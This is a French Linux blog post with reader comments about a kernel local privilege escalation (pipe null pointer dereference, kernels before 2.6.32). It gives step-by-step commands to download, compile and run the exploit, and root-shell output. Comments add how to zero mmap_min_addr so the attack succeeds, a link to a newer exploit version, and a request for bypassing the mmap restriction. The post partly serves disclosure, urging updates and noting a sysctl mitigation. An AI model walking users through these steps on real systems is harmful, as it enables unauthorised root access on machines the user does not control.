Local Root Exploit : pipe null pointer dereference
![]()
Une nouvelle faille de sécurité a été découverte dans le noyau Linux pour les versions inférieures à la 2.6.32. L'exploit permet à un simple utilisateur de passer root. La seule solution pour contrer ce type d'attaque est de mettre à jour son système.
Voici un exemple d'utilisation. Pour que l'exploit fonctionne, il faut au préalable que /proc/sys/vm/mmap_min_addr soit à zéro (c'est souvent le cas après avoir installé wine ou qemu) :
cat /proc/sys/vm/mmap_min_addr
0
Si l'on est bien dans ce cas là, on pourra alors récupérer l'exploit et le compiler :
wget www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c
gcc -o gayros local-root-exploit-gayros.c
Pour finir, on l'exécutera pour passer root :
./gayros
We got NULL page babe!
Using kernel version 2.6.30.8-64.fc11.i586.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.We've got bush!sh-4.0# id
uid=0(root) gid=0(root) ...
La faille a été découverte par Earl Chew et situe au niveau des fonctions pipe_read_open(), pipe_write_open() et pipe_rdwr_open() du noyau Linux. Le problème est lié au déréférencement d'un pointeur NULL, et est donc exactement du même type que celle découverte en août 2009.
L'exploit aurait été testé avec succès sur les distributions suivantes :
- Debian Etch
- Fedora 6, 10 et 11
- RedHat 5.3 et 5.4
A noter qu'il contourne les protections SELinux dans le cas de Fedora 10 et RedHat 5.4. Les distributions Debian Sid, Mandriva Linux 2010.0, Fedora 12, Ubuntu (Ibex et supérieurs) et les noyaux patchés avec grsecurity ne sont pas vulnérables.

Créé en 2005, Tux-planet est un site qui a pour ambition de regrouper des articles sur Linux et le monde des logiciels libres. 





25 Commentaires pour "Local Root Exploit : pipe null pointer dereference"
Flux des commentaires de cet article Ajouter un commentaireL'exploit fonctionne sur mon Ubuntu 9.04 (mis à jour depuis 8.10)
J'ai téléchargé et compilé l'exploit sur arch et ça ne passe pas.
Pourtant le noyau est inférieur à 2.6.32
"Using kernel version 2.6.31-ARCH."
Fonctionne sur ma 9.10, fraîchement installée.
./gayros
We got NULL page babe!
Using kernel version 2.6.31-14-generic.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.We've got bush!
# id
uid=0(root) gid=0(root)
En même temps, un liveCD et hop, tu es root
mais c'est toujours bon d'avoir le moins de portes d'entrées possible
Tiens ! Ça fonctionne en 9.10, c'est normal ça ?
Je viens de tester sur mon serveur Gentoo (2.6.30-gentoo-r4) et ça me sort :
....#./gayros
mmap: Permission denied
....#
Donc ça ne fonctionne pas
Mis à jour le kernel cet après midi sur mon serveur Debian, toujours aussi réactifs...
Testé sous ubuntu 9.10 et ca fonctionne.
Il est a noter que l'exploit a fonctionné 2 fois pour 6 lancements
j'ai testé sur quelques uns de mes postes F11 : cat /proc/sys/vm/mmap_min_addr me renvoi toujours 65536.
Pourtant wine est installé...
Ça fonctionne chez moi. Ça m'impressionne toujours ce genre de truc.
Bon, ben ça marche pas chez moi:
- Ubuntu 9.10: "No luck this time, are you on an SMP box?". Oui Intel Core2Duo
- Debian Lenny (Xen): même chose.
Pour la Debian, je ne sais pas si c'est dû à Xen ou au µproc (AMD phenom). Pourtant, la VM n'a droit qu'à un proc.
Bref, a marche pô (et tant mieux, mais je vais quand même mettre à jour le kernel)
@Cretch : le liveCd ne te permet pas de passer root sur une machine auquelle tu n'as aucun accès physique.
@Dd @Djiock @Labut : tiens normalement l'exploit ne devait pas toucher les versions d'Ubuntu > à Ibex. J'ai même pas pensé à tester du coup.
@Fgland : j'ai testé l'exploit avec succès sur une Fedora 11. Mais elle a subit plusieurs upgrade, ce qui explique peut-être pourquoi chez moi le mmap_min_addr était null.
@Jb : d'après le message, tu n'utilise un kernel SMP. Ce sont des kernels spéciaux pour les processeurs multi-core et l'exploit ne marche pas dessus.
Je l'ai testé 8x sur ma 9.10 fraîchement installée.. et il ne fonctionne pas...
Sur mes 8 tentatives, toutes ont échouées :
- 6 arrêts du programme 1 minute après : "Go go go boy!"
"
- 2 arrêts avec le message : "No luck this time, are you on an SMP box?
PS : Using kernel version 2.6.31-14-generic
Quand on regarde le code source de l'exploit, on remarquera la présence de la fonction getver(void) qui récupère la version du noyau. Celle-ci vérifie en plus plusieurs conditions, si c'est condition ne sont pas valable, l'exploit ne peut pas marcher.
Testé chez moi sur une Ubuntu 9.10 fraichement installé, j'ai juste du mettre /proc/sys/vm/mmap_min_addr à 0 via les commandes :
- sudo bash
- echo 0 > /proc/sys/vm/mmap_min_addr
(sudo echo 0 > /proc/sys/vm/mmap_min_addr ne fonctionnais pas)
et hop, l'exploit a fait son miracle ! bouhhhh
Testé sous ma 9.10 et ca ne marche pas.
ymir@ginnungagap:~$ ./gayros
We got NULL page babe!
Using kernel version 2.6.31-14-generic.
Found version 3 structure, doing our tricks in memory...... Lire la suite
Go go go boy!
ymir@ginnungagap:~$
Au final ,j'ai eu un popup signalant une activité suspect dans le noyau, mais pas de crash ou de passage en root.
J''ai testé l'exploit sur Jaunty 32 et 64 bits et il fonctionne.
Pour qu'il ne fonctionne plus, j'ai simplement tapé
sudo sysctl -w vm.mmap_min_addr=65536
Bon je viens de tester sous une Ubuntu 9.10 aussi. Ca fonctionne, mais faut lancer l'exploit plusieurs fois.
Par contre le mmap_min_addr était à null chez moi, vu que j'ai installé wine ...
Houla, j'ai bien fait de passer à BSD
Sinon je vais peut être enfin avoir les droits root sur une certaine Red Hat. mouhahaha.
Fonctionne aussi chez moi sous Ubuntu 9.10.
J'ai aussi Wine installé
@Jérôme M. : La faille a été comblée sur Centos. Donc il y a de fortes chances pour que ce soit le cas aussi sur Red Hat.
@vikin : Sauf que la red hat est pas à jour. Ils savent rien faire, l'autre fois j'ai du leur expliquer comment recompiler apache avec le module gd par mail..
Sorry for the english but my french aren't that good. I'm the author of the exploit. You can find more info and a newer version with detection for debugging symbols at http://fotis.loukos.me/blog. If you can, leave a comment there too if it worked for you! The exploit is a race condition so it don't work always at the first time, so you may need to run it again. Furthermore, you must be on a box with SMP although someone reported it worked at a non SMP box too.
J'ai testé hier sur ma Karmic en noyau 2.6.31-15, ça marchait, pis j'ai fait l'update vers le 2.6.31-16 ce matin, et ça marche plus.
Please, evry one have method how to bypass mmap:permission diened.